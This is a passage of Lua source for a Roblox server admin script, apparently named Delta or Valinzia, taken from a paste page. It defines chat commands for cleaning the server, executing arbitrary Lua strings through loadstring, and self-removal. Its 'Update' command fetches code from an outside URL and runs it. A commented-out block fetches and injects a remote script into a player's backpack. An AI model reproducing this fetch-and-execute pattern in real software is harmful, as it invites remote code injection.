- p.Parent, p.Size, p.Anchored, p.Locked, p.BrickColor, p.Name = Workspace, Vector3.new(600, 1, 600), true, true,
- BrickColor.new("Earth green"), "Base" p.CFrame = CFrame.new(Vector3.new(0, 0, 0))
- while true do wait()
- for i = 1, #g do
- if g[i]:IsA("Message") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Hint") then
- g[i]: Destroy()
- end
- end
- end
- end)
- Command("Clean", {"fc", "clean", "cln"}, 7, "Full Cleans The Server", nil, function(Speaker, Msg)
- FullClean()
- end)
- -- Rank 4! --
- Command("Execute a Script", {"exe", "execute"}, 7, "Executes A String In Script", "No Flags", function(Speaker, Msg)
- local Ran, Error = loadstring(Msg)
- getfenv(Ran).Speaker = Speaker
- getfenv(Ran).print = function(args) local str = "" for _,v in pairs({args}) do str = str..tostring(v).."\t" end Output(Speaker, str, "White") end
- if Error == nil then
- Ran()
- else
- Output(Speaker, Error, "Really red")
- end
- end)
- Command("Update", {"update", "update"}, 7, "Updates the Script", "No Flags", function(Speaker, Msg)
- createScript([[
- pcall(function()
- local h = game:service'HttpService'
- local l = 'https://code.stypi.com/raw/99zay99/DELTA%20ADMIN%20GENERATION%203.lua'
- local scr = h:GetAsync(l,true)
- loadstring(scr)()
- end)
- ]], Delta.Services.Workspace)
- Delta.Commands["Remove Script"].Function(Speaker, "")
- end)
- Command("Remove Script", {"remv"}, 4, "Removes the Script", "No Flags", function(Speaker, Msg)
- for i,v in pairs(Delta.Services.Players:GetPlayers()) do
- Dismiss(v)
- end
- script:remove()
- script.Disabled = true
- Delta = nil
- for i,v in pairs(getfenv(1)) do
- getfenv(1)[i] = nil
- end
- end)
- DELTA.Services.Workspace.descendantAdded:connect(function(a)
- pcall(function()
- x = 0
- for i,v in pairs(DELTA.Services.Workspace:children()) do
- if v.ClassName == 'Message' or v.ClassName == 'Hint' then
- x = x + 1
- end
- end
- if x > MessageLimit then
- for i,v in pairs(DELTA.Services.Workspace:children()) do
- if v.ClassName == 'Message' or v.ClassName == 'Hint' then
- v:remove()
- end
- end
- end
- end)
- end)
- local _end = time()
- Output("Admins", "Valinzia has loaded in "..tostring(_start-_end).." seconds!", "Bright orange", nil, 5)
- --[[
- pcall(function()
- local h = game:service'HttpService'
- local l = 'https://code.stypi.com/itov/Delta%20k'
- local scr = h:GetAsync(l,true)
- NewLS(scr,v:findFirstChild'Backpack')
- end)
- ]]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement